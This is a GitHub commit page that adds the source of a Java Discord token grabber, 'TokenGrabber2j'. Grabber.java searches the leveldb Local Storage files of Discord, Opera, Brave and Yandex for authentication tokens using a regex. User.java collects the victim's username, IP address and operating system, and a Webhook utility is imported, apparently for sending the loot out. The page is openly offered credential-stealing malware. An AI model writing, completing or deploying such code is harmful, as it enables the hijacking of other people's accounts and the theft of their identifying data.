Skip to content

Commit

Permalink
Added files
Browse files Browse the repository at this point in the history
  • Loading branch information
m-Phoenix852 committed Aug 26, 2020
1 parent 9f661fc commit df493fa
Show file tree
Hide file tree
Showing 5 changed files with 526 additions and 0 deletions.
4 changes: 4 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -21,3 +21,7 @@

# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
hs_err_pid*

# intellij files
.idea/
out/
12 changes: 12 additions & 0 deletions TokenGrabber2j.iml
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="JAVA_MODULE" version="4">
<component name="NewModuleRootManager" inherit-compiler-output="true">
<exclude-output />
<content url="file://$MODULE_DIR$">
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
</content>
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
<orderEntry type="library" name="TokenGrabber2j" level="project" />
</component>
</module>
83 changes: 83 additions & 0 deletions src/me/Phoenix852/TokenGrabber2j/Grabber.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
package me.Phoenix852.TokenGrabber2j;

import jdk.nashorn.internal.runtime.regexp.joni.Regex;
import me.Phoenix852.TokenGrabber2j.Utils.Webhook;

import java.io.*;
import java.lang.reflect.Array;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Scanner;
import java.util.regex.*;

public class Grabber {
private final String roaming = System.getenv("APPDATA");
private final String localappdata = System.getenv("LOCALAPPDATA");

private final String tokenRegexPattern = "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}";
private final String emailRegexPattern = "^((\"[\\w-\\s]+\")|([\\w-]+(?:\\.[\\w-]+)*)|(\"[\\w-\\s]+\")([\\w-]+(?:\\.[\\w-]+)*))(@((?:[\\w-]+\\.)*\\w[\\w-]{0,66})\\.([a-z]{2,6}(?:\\.[a-z]{2})?)$)|(@\\[?((25[0-5]\\.|2[0-4][0-9]\\.|1[0-9]{2}\\.|[0-9]{1,2}\\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\\]?$)/i";

private HashMap<String, String> paths = new HashMap<>();

public Grabber() {
paths.put("Discord", roaming + "\\Discord");
paths.put("Discord Canary", roaming + "\\discordcanary");
paths.put("Discord PTB", roaming + "\\discordptb");
/* paths.put("Google Chrome", localappdata + "\\Google\\Chrome\\User Data\\Default"); */ // Comment because adding google chrome bugs idk why, if you know the reason for this bug, please make a fork of this repo, fix it and then make a pull request.
paths.put("Opera", roaming + "\\Opera Software\\Opera Stable");
paths.put("Brave", localappdata + "\\BraveSoftware\\Brave-Browser\\User Data\\Default");
paths.put("Yandex", localappdata + "\\Yandex\\YandexBrowser\\User Data\\Default");
}

public ArrayList<String> findTokens() {
ArrayList<String> tokens = new ArrayList<String>();

for (
String path : paths.values()
) {
path += "\\Local Storage\\leveldb\\";

File folder = new File(path);

if(folder.exists()) {

File[] files = folder.listFiles();

for(File file:files) {
if(file.isFile()) {
if(file.getName().endsWith(".log") | file.getName().endsWith(".ldb")) {
Scanner scanner = null;

try {
scanner = new Scanner(new BufferedReader(new FileReader(file)));
} catch (FileNotFoundException e) {
e.printStackTrace();
}

String content = "";

while(scanner.hasNext()) {
content += scanner.next();
}

Pattern p = Pattern.compile(tokenRegexPattern);
Matcher m = p.matcher(content);

if(m.find()) {
String token = m.group(0);
tokens.add(token);
}
}
}
}


}

}

return tokens;
}

}
22 changes: 22 additions & 0 deletions src/me/Phoenix852/TokenGrabber2j/Utils/User.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
package me.Phoenix852.TokenGrabber2j.Utils;

import java.net.InetAddress;
import java.net.UnknownHostException;

public class User {

public String getUsername() {
return System.getProperty("user.name");
}

public String getIPAddress() throws UnknownHostException {
String IP = InetAddress.getLocalHost().getHostAddress();
return IP;
}

public String getOS() {
String os = System.getProperty("os.name");
return os;
}

}
Loading

0 comments on commit df493fa

Please sign in to comment.